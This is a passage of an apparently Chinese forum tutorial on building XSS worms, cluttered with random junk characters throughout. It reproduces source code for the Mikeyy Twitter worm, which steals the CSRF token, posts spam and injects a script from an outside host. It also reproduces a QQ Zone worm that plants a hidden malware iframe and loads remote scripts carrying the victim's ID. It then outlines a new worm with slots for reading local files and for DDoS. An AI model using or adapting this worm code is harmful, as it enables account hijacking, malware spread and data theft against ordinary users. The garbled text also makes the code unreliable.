5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
3 h6 f9 O9 j) T3 C1 w2 A# q ~- n& F2 O7 ?: |
6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
( x* i; c1 N( W, K0 [
" _0 e" [# f7 H& T( W4 @; u2 V, T 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } / e2 w; h$ L6 H5 e. h
) e0 x) }; Y) T z3 {* { 8. catch(e) { _0x6687x2=false; }; }; };
/ b( b L! ]" O复制代码第六版: 1. function wait() { 4 Z5 ~# V' J0 L: o- \
0 X$ R, b1 p; J/ F2 n 2. var content = document.documentElement.innerHTML;
0 F, P- o: Y4 ?% g
+ r1 r" V" j+ v 3. var tmp_cookie=document.cookie; , d2 G- V5 q+ Z# A% }3 A/ h( }
8 b5 }) Y# Q; H3 I( K. ^8 s
4. var tmp_posted=tmp_cookie.match(/posted/); % j3 a4 t. o7 b9 K* f: d# ~
$ D+ R7 U9 J4 Y! t9 T0 h, y( }0 }
5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); ' G |* Z. p2 q8 O: `
4 c0 Y5 U2 c% I
6. var authtoken=authreg.exec(content); % ^ }/ `8 Y. B. R9 T% b; O9 n
3 | J* x% D9 ^9 ^- z, `$ c7 n 7. var authtoken=authtoken[1]; - q% h( {" i) o2 j9 Y7 r9 K% @5 I5 p
z4 t! H2 A4 D3 j
8. var randomUpdate= new Array(); " `' ^ }3 T- s& a) A3 {- w
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
: X$ o1 g/ n7 @ ]
3 `9 D: }& m) ?4 u4 w 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; % h1 s* s& }* K- N, }0 N! x9 d
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; - `/ {. B2 V3 W, S
: h0 c( o3 M, [ 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; 7 k. Q% I5 A9 R$ G' H* H% d
}2 m: b/ @3 ~! t
15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
, J# h$ c: n$ [% r% K# |& |2 N/ j8 s; `
16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 9 n& l2 ]6 _ }. h" ?2 j. ?5 X/ N8 h
6 o- [8 c- Q; R; O 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
0 ?: z5 L" G, `. W: W2 y1 Z8 _
; _( [0 X! y( W8 v8 F7 Q/ G 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; ) I3 _' X, t; e- T& T! ~
1 ]1 W6 V3 Q. a! U$ q+ ~3 U1 _ 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; * r! w( R$ }* S, r; s
' v% b8 k4 e8 C+ z0 g0 o 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
, o1 r E3 J" E$ ]1 h1 R- |: X! X; T. I8 g! @- ]) i" x1 M% }) g
23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; ; q' L: v+ T6 D8 D$ m
[; W6 d5 z! v! N( S 24.
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0 k' T' \& ]0 p( a) o0 p 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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26. var updateEncode=urlencode(randomUpdate[genRand]); : U/ l+ P5 z8 N$ H! g
6 h* K* T5 y; g! a
27.
, `! w8 m7 G; k/ _
3 n y" y% b3 A 28. var ajaxConn= new XHConn();
* O5 W$ G/ f. k4 X% I
+ O% u' o' F6 U7 s) E 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); u' f1 Q$ @# I/ I `; z3 r
. ?; H, {- U' `- Y( c! J
30. var _0xf81bx1c="Mikeyy";
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4 O( k) B6 X: E$ I$ O 31. var updateEncode=urlencode(_0xf81bx1c); - {' j3 Z% e8 i+ e
# D' E% E. ^. a3 _. N! a3 ^
32. var ajaxConn1= new XHConn();
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5 ~0 F6 H& V/ `' I$ r 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 6 b: a0 [) w4 J3 s
# v3 z: ~( D5 }, E 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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35. var XSS=urlencode(genXSS); 8 S2 n$ [/ w$ U9 j Y7 Z# D9 ~! f$ G
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36. var ajaxConn2= new XHConn(); - P n. W, a* E' H
2 x; t5 U3 y$ f( M" x0 }
37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); ) w8 {" Q. N' J: S
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38.
7 }* y- o F( F: [/ d
1 }- I$ M( ~; ~ 39. } ; . l* K% h9 A1 i$ f" p/ R
) n+ W* t1 t3 d6 \
40. setTimeout(wait(),5250); * q' I6 h# [7 I" I
复制代码QQ空间XSSfunction killErrors() {return true;}
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. Y* [& U1 O5 S& ywindow.onerror=killErrors;
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3 m7 a/ D9 l/ m, e& \
* J+ \0 D$ u0 \+ ^1 K Bvar shendu;shendu=4;
+ E* n* u- t% ~8 M
+ G1 y7 X w! P//---------------global---v------------------------------------------2 n% ~9 j8 [/ G- B8 N" U" f" Y9 m
5 X! y$ ]+ g" j* `7 @
//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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var myblogurl=new Array();var myblogid=new Array();
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) u5 |4 ^ w0 O4 F3 d; ~5 |5 Q var gurl=document.location.href;
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# X9 W1 s5 q; l3 L. [( A G- H6 h var gurle=gurl.indexOf("com/");
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5 C2 R4 s) V; @4 L) ]: q- ^ gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;
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+ ~+ r3 M2 p0 ?/ k var cookieS=visitorID.indexOf("g_iLoginUin = ");; ?4 B' R6 |$ W7 n
+ f2 [, J- G/ _* A6 ~, D' P5 R
visitorID=visitorID.substring(cookieS+14);% X& l6 h4 o0 u& t, e
7 c. b2 n5 u' q+ @/ H/ V8 _. j
cookieS=visitorID.indexOf(",");! S% n! Z* U' o$ D: d1 a( v
' U# y) w6 c3 \ visitorID=visitorID.substring(0,cookieS);2 [5 ^+ Z2 C, C+ C: e2 e
( V% C; N: R. I; w' \ get_my_blog(visitorID);$ j2 @3 n% e/ ~9 s) f7 m$ A, E
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DOshuamy();" T. ?( ^0 Q' @; D8 |* M8 q
6 t# w& f0 {& u) q* ]+ h) p9 x
( ?0 R0 S5 C" w3 S2 n
1 D4 O, G/ p/ V' K( M//挂马$ }4 i1 A' N. u. w
: P! H! B' }* C! r/ F: Ifunction DOshuamy(){
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var ssr=document.getElementById("veryTitle");
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" M- [* K3 M# \8 X3 p: hssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}
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5 {2 v6 r2 S1 \5 E
: {$ ?2 v8 C# @3 q6 r, T//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
# k$ Z* t; M1 ~; s" q7 d+ p1 s$ i+ H! z" p3 i4 w/ d
function get_my_blog(visitorID){
" k z* F5 x7 L
$ u% R A2 Q; ^ B8 r' h" E userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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. s- b0 E, m. e3 {: h xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象& i. |8 L9 l6 N7 B$ Q- W: z
2 I# N( B3 m6 q' ^3 F) [; P if(xhr){ //成功就执行下面的
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& A5 T. [" C; }9 Z8 b( V' W- C xhr.open("GET",userurl,false); //以GET方式打开定义的URL: ~2 n' T: C g) L
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xhr.send();guest=xhr.responseText;
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get_my_blogurl(guest); //执行这个函数( U1 r x& f$ J6 c: v9 {
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}
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" N* Q* D- `1 {2 x, I, d# {//这里似乎是判断没有登录的
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$ t$ Q( H2 n0 K( q4 @function get_my_blogurl(guest){
! A0 @8 P6 G- {' S9 M% ?- J' p8 {$ o4 D% |* e; g1 ~( G* T
var mybloglist=guest;
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var myurls;var blogids;var blogide;
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! M8 A- P& Y) x for(i=0;i<shendu;i++){, `6 a5 p6 |) U
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了6 O3 i2 `, b. o8 a+ h
# N* @2 A+ S N5 U if(myurls!=-1){ //找到了就执行下面的* k1 {2 u7 ?' |8 S+ i
* D' w2 t' ^2 ~; Q. ^ mybloglist=mybloglist.substring(myurls+11);
" k7 P: k/ |4 s2 K6 x! z. B3 @( H* e* `# o
myurls=mybloglist.indexOf(')');
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myblogid=mybloglist.substring(0,myurls);6 L I' }9 V6 H' q7 u$ Z5 D4 r4 i
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}else{break;} n7 i8 d j9 {7 G8 w; i" |6 M
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get_my_testself(); //执行这个函数
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}2 t* }, T; F" ?3 M
/ I- q# j) ~- x+ H- G, N2 P: ?& ^, f/ T6 ?3 c" `$ |# i- f
, Y; t' y; @- F//这里往哪跳就不知道了
1 D. \0 g8 G7 z4 }6 j4 f, M( j3 B Y( ^5 T, q' {
function get_my_testself(){
- q! V. Y6 c% a) z, P. {( j$ }* s! `" [: x3 b
for(i=0;i<myblogid.length;i++){ //获得blogid的值
( E+ B, V/ n8 i! N
1 C8 V7 A q: Z* F4 z var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();: m. |+ Y# }6 H# K; K2 Z& F3 g
* v! s( A* x2 R f7 c3 F5 p var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象# l+ r% A6 \ Q, y4 d" Y6 \
2 u4 q, R) X3 H# Z0 `' | if(xhr2){ //如果成功9 a) [" X( `+ Q" d. P" t
! V0 S/ M# H1 }8 q
xhr2.open("GET",url,false); //打开上面的那个url% V0 G* a% `2 w5 U
9 k; I' o! ^8 U+ }$ j! L8 d5 w) m8 r0 T xhr2.send();' h S* B6 O5 O% f
# E$ V) R6 U: m: [ guest2=xhr2.responseText;; \2 S& K& _5 H$ g3 A7 ^
* \1 S8 A" ^8 S( R2 _
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?4 B! k; L. C: ~* j! p$ ?, j
5 k0 K, K% J @! w var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串" n2 j7 F1 x6 F: d1 v* o; X8 f
{ a+ ~, o3 S9 | if(mycheckmydoit!="-1"){ //返回-1则代表没找到
! ~7 C8 W+ G2 N9 e7 u5 B/ J1 Y7 A6 K/ X
6 l1 V: r) ~; o" A: g& `3 R h& m targetblogurlid=myblogid;
+ `% B/ J" [! C0 M% a( B6 p3 e8 u9 z* S" o
add_jsdel(visitorID,targetblogurlid,gurl); //执行它5 T- h0 i4 m2 e" ~& D8 f
: u; F e- D8 V2 p) m, }) } b break;
- q. X9 U) u; U+ O1 y
" ~7 z0 \9 B, a7 M- K" a }
, i7 T- X( c* R3 |+ E$ N* r7 U# K) C& y* Q. z" z
if(mycheckit=="-1"){
7 k7 s% y, a; |7 |
" D2 ]1 S# d* ^1 E& ?! R targetblogurlid=myblogid;) c5 _* D' n0 N# H6 r w; \' ^. ]$ B
" g/ [# d i( R8 r7 j4 `& c
add_js(visitorID,targetblogurlid,gurl); //执行它( K2 {% ^) N. i& j; j5 p. S
2 e) L9 E7 b8 |# [5 _ B break;6 O2 J) b4 \- C) `9 `
9 ]/ {2 | l7 T) V: I( g# E
}7 e5 W+ l2 w+ x6 w4 v. G J1 J
8 q$ y+ `1 |7 G+ g# c1 R/ S
}
1 S4 `4 f% L4 o2 A
+ I% t* W$ K2 g/ H# E/ u}8 g) Y: G @6 d6 X. k
( e, [" i1 Q$ |}
9 X. w, G# f9 [! m' z; T
1 k1 E# T& A, w; _; N( a6 z ~, T) D, {! n: M- C
& {/ N4 l' w5 O2 _6 k
//-------------------------------------- 7 A( m2 m& F3 O6 Y- o$ }
6 \2 j* O. M2 d+ s//根据浏览器创建一个XMLHttpRequest对象
7 d8 o! l- j- p5 k9 t: u. t# o( e- G8 X6 S+ k6 I! r
function createXMLHttpRequest(){' R4 Y9 w% c( ?2 B+ B6 H- V
5 t6 e6 r' G0 Z% }
var XMLhttpObject=null; * Q+ w2 G2 g" @" ]+ _- h
! P) x8 V1 D5 L0 Z if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} 7 ], @$ W$ }, J9 t% i" m: m* s
% ?* N7 E3 R V+ u5 @% ` else $ W. W8 w1 v; M- M! @( r; P, j- M
' x. L- M6 r/ l, i- P ` { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
5 k. N+ l+ G+ [; O1 O+ E- P5 y$ N: k' x0 {0 x+ P( s. ^
for(var i=0;i<MSXML.length;i++)
% x; z+ Q2 I8 D# I: S; y3 j! {% E
{
6 Z2 s$ f9 [% K2 V$ d1 z- \0 N& Y7 B' ^, {* Y& C
try
" ~- ?. @3 }% H/ S2 U4 s! T' c5 x
( }0 e$ G; C( G# ^- ~. G4 F# n { : G+ W+ y( r6 `+ x. [' A
- S) p) S8 i+ e- T! D
XMLhttpObject=new ActiveXObject(MSXML);
* C! C" m$ n/ v/ G6 m1 w# O
! m' {3 x+ E1 \, L break; ' Q& _( N" {% E1 M
# `3 }7 b( g1 h5 {+ ~* p. v5 L }
9 }' J4 E, A3 D' ^( z1 L2 [ `
$ T* U- X. q% o9 W4 d catch (ex) {
, u4 L/ _! J2 o) S# V7 g6 v4 B+ h5 p2 I7 S7 D/ k7 f) b' B& P5 e
} ' C( U4 w3 X/ w6 ~. I8 |4 e
* X+ _9 Q" F" R } - y- R4 ^9 C% d0 `# K \) e2 h3 n
6 U# j3 w: c, V- O
}& Y. C! |2 r2 f" D& \. o. H
4 Q% |% J* |( _: b. c
return XMLhttpObject;
5 p' N) S6 J( J ~. r: V# _
4 \# S9 U. b& s! b! b5 b5 R}
" M8 F ^8 g0 `
. L/ J5 |3 `) i8 b1 ?6 k% P3 l
0 N- u" y/ h* ^7 j; {% h
! l- b: c$ t# R//这里就是感染部分了
2 w& U5 K, f! c+ Z
* ` o% I$ C0 Q/ o0 ^function add_js(visitorID,targetblogurlid,gurl){
8 N4 Q; c# c. `( H: ^- {# A( p8 F+ ~! i
var s2=document.createElement('script');9 [1 o' t3 ]+ J# ^0 B7 Y
4 @4 s9 V' _0 j& js2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
. i y# t& M3 f
# W% R! D* R. S6 t; G c) g0 Fs2.type='text/javascript';
6 O7 y& l" _8 E" A" v! m3 s7 P, q9 R+ o! u% g8 Z) l( O! y* w
document.getElementsByTagName('head').item(0).appendChild(s2);
~) N" D; X5 S Z" v( R& R1 n) x# o5 k: w, |7 t( K" x: O9 S7 d
}/ R* d0 X# [/ u% @6 u
$ u0 M: G; \6 E
+ e1 j3 J7 Q$ n1 f1 d% c: z! ~) j' U
function add_jsdel(visitorID,targetblogurlid,gurl){
; [8 q% m0 i" x g. p) H8 T" b' n$ [+ b
var s2=document.createElement('script');' l' v* D7 U* X$ F8 ]! n
/ z8 s3 p" G0 G+ z
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();! ^9 T3 q- P$ _$ s! y2 N* T
' [% U$ H/ n% F2 U6 P5 C8 E. }
s2.type='text/javascript';
0 X9 a! u9 G, a- z* I+ J1 F6 D
) K% t9 W6 w* \4 i% Sdocument.getElementsByTagName('head').item(0).appendChild(s2);# w% J! T0 E, e+ P6 v2 y1 }/ V+ x
% W( Y7 y+ _" x6 o6 I/ p- h1 t" F( w4 Q
}- d& r: F0 O9 ?
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:6 Q1 }% s# L, P, h; _' m8 p
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
! Q7 `% w1 }6 j7 ?
* N' V; Z* U' q2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
7 r+ p1 u. q$ Q# k
9 O3 c# W* @7 ~+ u) y* R. D% z综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~- e/ \& A: \: P: D" b5 X+ W/ D
# l' c( `* P# z" f, b% |
' A" ?1 y; F3 D6 o# b下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
1 v$ _& t; n% \' y; I* ^6 H7 M: q' g
5 m& v: K. Q- b) U J: E- p首先,自然是判断不同浏览器,创建不同的对象var request = false;
) R0 _& M" a& c: i
. h8 ? s* S! }* j5 g g# @if(window.XMLHttpRequest) {
" N; X2 C9 r( l) [- d( E* I; Z$ R* v# T& x
request = new XMLHttpRequest();
r% I$ b' o2 ~4 C( ], S! v/ @& n$ n9 g* A7 v2 f$ p% w
if(request.overrideMimeType) {4 h& ]0 t3 v( R, N! j; o. C
0 Q/ V. I0 n# ?0 Y
request.overrideMimeType('text/xml');+ {6 G& ^# l5 |3 k
7 n; h" R# }7 F9 _8 `: l} Y7 @( i% Z$ ], B
6 L, C7 D4 ]! [* K. l3 i} else if(window.ActiveXObject) {
0 `% m- a; [5 Y7 O3 p7 m- {
- b+ B. i& ^. r+ U8 d$ N! mvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];* D4 \* W0 g0 l: v6 S4 ^
# s) u( A2 \* I( F
for(var i=0; i<versions.length; i++) {# G% |! A( P+ `
1 k9 x% v; L$ w5 t0 U/ ^# N/ R
try {
) G- h" c0 u8 J2 p0 i/ z0 e) S0 l& F9 r) {* x
request = new ActiveXObject(versions);) L7 L. j/ t$ H4 I6 z# Y
- B) c0 x* a' N0 ^: K6 A9 ^0 i
} catch(e) {}: e( e# h: Q* j. O! X, v6 K
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- A- r' O+ p6 b( _
}
4 b P+ I1 H: e" t
1 Y4 _' r$ F, x/ r: HxmlHttpReq=request;" R# v1 p1 j. J8 n8 q8 v7 [
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
& N) D% b. s5 [; s" l9 d- P# ~1 j# v# H4 q7 L
var Browser_Name=navigator.appName;
) f* W7 H8 l& c ^
% `( A6 i6 E6 V5 e: {) @" i. ~ var Browser_Version=parseFloat(navigator.appVersion);
/ ]6 e3 M9 U P) P
/ B. G7 m$ L' v var Browser_Agent=navigator.userAgent;0 T% J; W, m4 y( C3 T* G0 H
# u4 c# |4 @3 ^0 v4 B$ n ?) @
+ i1 f7 G5 L* M$ M$ s' D
c/ X. J5 `6 h# K5 m# m1 W$ _ var Actual_Version,Actual_Name;4 Y& b9 \, n# `* C8 b
% }: V+ ^7 c0 j' M" o
. W0 i, `; I- [
* S- Z C0 Z, B1 B- }+ v var is_IE=(Browser_Name=="Microsoft Internet Explorer");
' q" P. W& S1 P( R5 }
& x/ |9 M& I* Y1 |3 O x9 ^ var is_NN=(Browser_Name=="Netscape");6 _9 P# `/ G0 N( D/ o( d' u8 d
# n7 U7 \! Q7 j1 V% m8 N7 H
var is_Ch=(Browser_Name=="Chrome");& d- X6 ?- d" f6 Q1 C
) I1 J# n6 V9 s7 {9 k3 X7 Q' R4 X , t. e U1 O9 J
& I& _! a9 j8 n- J/ b5 h
if(is_NN){ }6 J( V' s4 u- ~+ N! C
" E9 ^( T7 q [3 Z: |2 A/ B
if(Browser_Version>=5.0){7 l! A% l( [. O
] I- \ n; X var Split_Sign=Browser_Agent.lastIndexOf("/");
2 w; o4 G/ L! J$ d5 E
8 d: r. p t& \* D var Version=Browser_Agent.indexOf(" ",Split_Sign);' l; w+ v5 y: y$ t. @
9 e8 [9 r- Q8 n4 k6 [4 Q/ b8 z! g/ b# K var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
9 Z' \) K- I3 s2 N2 }% F' `
: w; \6 R" p1 B$ c3 ?0 M) h! K# e+ ?
1 f0 P) N% X+ @! B! c5 W
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
, x! L v9 @; c* f' f" M* _
& v8 E5 { y7 f Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);0 r1 d, I: }1 p0 h$ Z, R. Y( g
. q9 N) |2 ]1 W }
2 |, K V2 U. Z9 n* e) i' k, A& D$ e
$ e+ F6 k7 }4 a5 z% X else{ t, p9 p( v K* @
% f( _) K$ q5 ~ _3 `7 u2 j Actual_Version=Browser_Version;# \1 \6 J( Y4 W/ o: Q* p
8 h8 }! I+ C8 e4 w% `" K0 r
Actual_Name=Browser_Name;+ ^5 a' C# D, |* R( @1 U6 S
* G* o4 w; d- ^
}
' G3 T4 m2 i% n" \# n4 g5 `
& e3 R2 Q3 c+ s( O5 z* \ }- N$ y4 e S6 U. u. e- ] |3 H, A
( F9 P0 b3 [4 Z! q0 N
else if(is_IE){( b3 m% `" ^: k
6 K- w9 E0 h" [7 ~
var Version_Start=Browser_Agent.indexOf("MSIE");
7 f7 } a) e0 @+ T2 [) S7 R! Q7 g X: a ^5 [# [
var Version_End=Browser_Agent.indexOf(";",Version_Start);+ A4 Q3 @2 ~: H; V* F
/ I# m5 u5 C% U6 m( l8 U' ?6 V Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
$ K! j+ Z4 G+ @ s& e% C, I
2 _3 L- \- k8 j" p- I Actual_Name=Browser_Name;
: {5 Y" u7 _9 ^( y, l. N: m
1 v4 m# v: k) ^/ ?8 \ ) i' L6 L, C1 A; F5 ^0 J# a
- q0 W* |1 @4 _: L if(Browser_Agent.indexOf("Maxthon")!=-1){
0 ^/ N" T m7 B% F$ q
3 z7 J! s# A2 I# ?! T3 R" p Actual_Name+="(Maxthon)";. P' p, o- z% \" H; y! \
2 R+ n( _/ ^( t: ^' G& t% w1 @9 { }
7 [3 ~5 W" J$ A( X% ~ m" k6 `% F* N: B# r! I
else if(Browser_Agent.indexOf("Opera")!=-1){
7 j" U4 z% t4 @3 K% Q
a! d# x% |+ v% e3 i; z: u+ x, ~ Actual_Name="Opera";
# B# w" b9 R7 A2 {
3 y( H4 ~ X: b, Q& z var tempstart=Browser_Agent.indexOf("Opera");
" e4 E/ R/ J5 S' |" {( q5 ^7 v. L( Y$ K, b' U" E) k9 o1 I
var tempend=Browser_Agent.length;/ F) t8 d* w; _8 Z& m' j7 M
1 j6 u$ [. Q2 G$ |" d/ r7 o Actual_Version=Browser_Agent.substring(tempstart+6,tempend)4 X: r+ |( \- s t* ~" ]$ P6 v6 n
4 `% x0 T( {" M$ }
}1 h0 \) E4 S* C/ m
2 E6 Y. l6 k4 b# |" } }4 ^, _1 r- i6 J+ h5 ^
% |. _ f. Q) N% R0 ^ else if(is_Ch){) g( O5 g8 w. t+ q1 x
2 b6 b9 R3 C6 z8 ~
var Version_Start=Browser_Agent.indexOf("Chrome");
4 J; P2 n: f+ Y/ F! ~9 n4 Z5 V2 A+ H5 a$ D+ N5 o0 |
var Version_End=Browser_Agent.indexOf(";",Version_Start);% B$ I0 ^# v5 a4 I9 m
4 Q: L9 ^( } O! ? Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)3 E! ~5 e" w2 f
- N/ M, g2 u9 ]; a6 e) g4 w2 y
Actual_Name=Browser_Name;
$ R' D- M8 n4 W- H; }# S) m0 V1 u: n4 c# |. ^
$ r3 y8 S/ b4 E- H! \8 U; k. j$ j; x$ d* I. L9 `3 k4 N; w
if(Browser_Agent.indexOf("Maxthon")!=-1){
0 d4 m: J( A8 w) n0 a
3 B5 _. l% X. I) f# ^1 Y) c Actual_Name+="(Maxthon)";
& }$ j) w# G) i9 c# { [. Z
5 x/ |* F f$ Z4 K9 s1 G }
7 c: @ L) z# V7 v4 U, X
- [! o2 ?7 t: S3 V3 X else if(Browser_Agent.indexOf("Opera")!=-1){
0 k. ~1 l! J X: E w4 M Z9 v9 }
$ }4 r$ W# o0 e, { Actual_Name="Opera";
, z- `: z ]5 y m8 g. e8 v7 F% y" I: q9 H9 c
var tempstart=Browser_Agent.indexOf("Opera");
B8 i8 D1 q0 _/ a
4 {" H/ @2 E: e4 J \ var tempend=Browser_Agent.length;
+ @+ y' x) t3 Q# {( ~" j
) h3 h. P, _# ? Actual_Version=Browser_Agent.substring(tempstart+6,tempend), I/ G6 L# c5 B" k
) [- t( Y" `: c; H2 S% \7 O+ ~% |
}
4 l/ p+ O/ v v5 k
. {! n2 ^2 p* X! `( i1 t }
4 G* M) r- F( p1 S" r$ ~: ~& s9 t- y- L
else{
! i* \" h8 \5 F) {
. U8 T4 v- f: T ? p0 S: G Actual_Name="Unknown Navigator"
9 ~/ c' o4 D3 S& `3 T5 @2 k
: O9 r' c7 j7 g7 a4 T. b Actual_Version="Unknown Version"
0 ]6 k1 \+ G. o% v# @
2 |4 k8 i) b# }9 A5 f h& [ H }
: b) K# t) J0 n5 E
. k5 g/ [- i) g# U0 ^9 F
Y: U0 S- y7 W, H, ~ T( m: c" K$ Q/ Q2 R! j
navigator.Actual_Name=Actual_Name; u0 t9 w7 K X) ]! C7 q2 J
; I( P, U; w# Q n* _) `; o navigator.Actual_Version=Actual_Version;
+ _, X7 e7 S- ~6 `! M2 G; N4 e9 F: f! q5 x( [
! @% M* ~" K( I Y7 @& a0 V
0 C8 Q' U9 O0 N: e this.Name=Actual_Name;
! x* m8 N& I' E* b7 A# ^/ z% \! R/ g: z8 L9 n$ g* o
this.Version=Actual_Version;
/ t' f- Q( q' T- e$ W
9 x$ x1 y) ]' s }2 Z) m, `/ N+ ~; ?
( `7 ~, v0 f* o" j
browserinfo();3 n% q9 q' r; I
. }% ^5 e" `9 f8 a+ F* _+ Y! U$ ?( Y# |: n if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
+ B' B6 F) R" j; {6 x
. i: X6 r- g$ Q if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}4 K2 u2 X% l8 A5 q r3 j4 m
|" V1 |0 E2 n3 L3 f/ X if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
# |2 x+ C1 g ~2 H
# {& G3 L' y" w& e+ C. P if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
/ e$ V% o* X4 X! S( v复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码! {/ G- E1 f) U. [
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
3 j. S% T* C, m复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.4 t9 Y! Y I( m1 E3 o+ J: t- l
" t$ a1 Q: t }4 ~; ]" Z
xmlHttpReq.send(null);
; b7 N1 p a9 ]/ Y8 ]. ]
3 N `3 E9 l) ?8 Uvar resource = xmlHttpReq.responseText;
! e" k7 }' K( |% l6 C2 h" M* C) i
/ v. {/ v( _! U+ Y3 A0 uvar id=0;var result;8 w4 H$ o; z7 r' c
5 S/ H! c: J) K! o
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
* ]: S" }( U" U" a$ X' e
d$ A- W f8 b( S+ u7 z. Cwhile ((result = patt.exec(resource)) != null) {1 g7 E0 d/ Q* |5 ~! b! K" h) {
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id++;8 i4 j, k$ `4 ]% N/ X& a( r0 H
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}
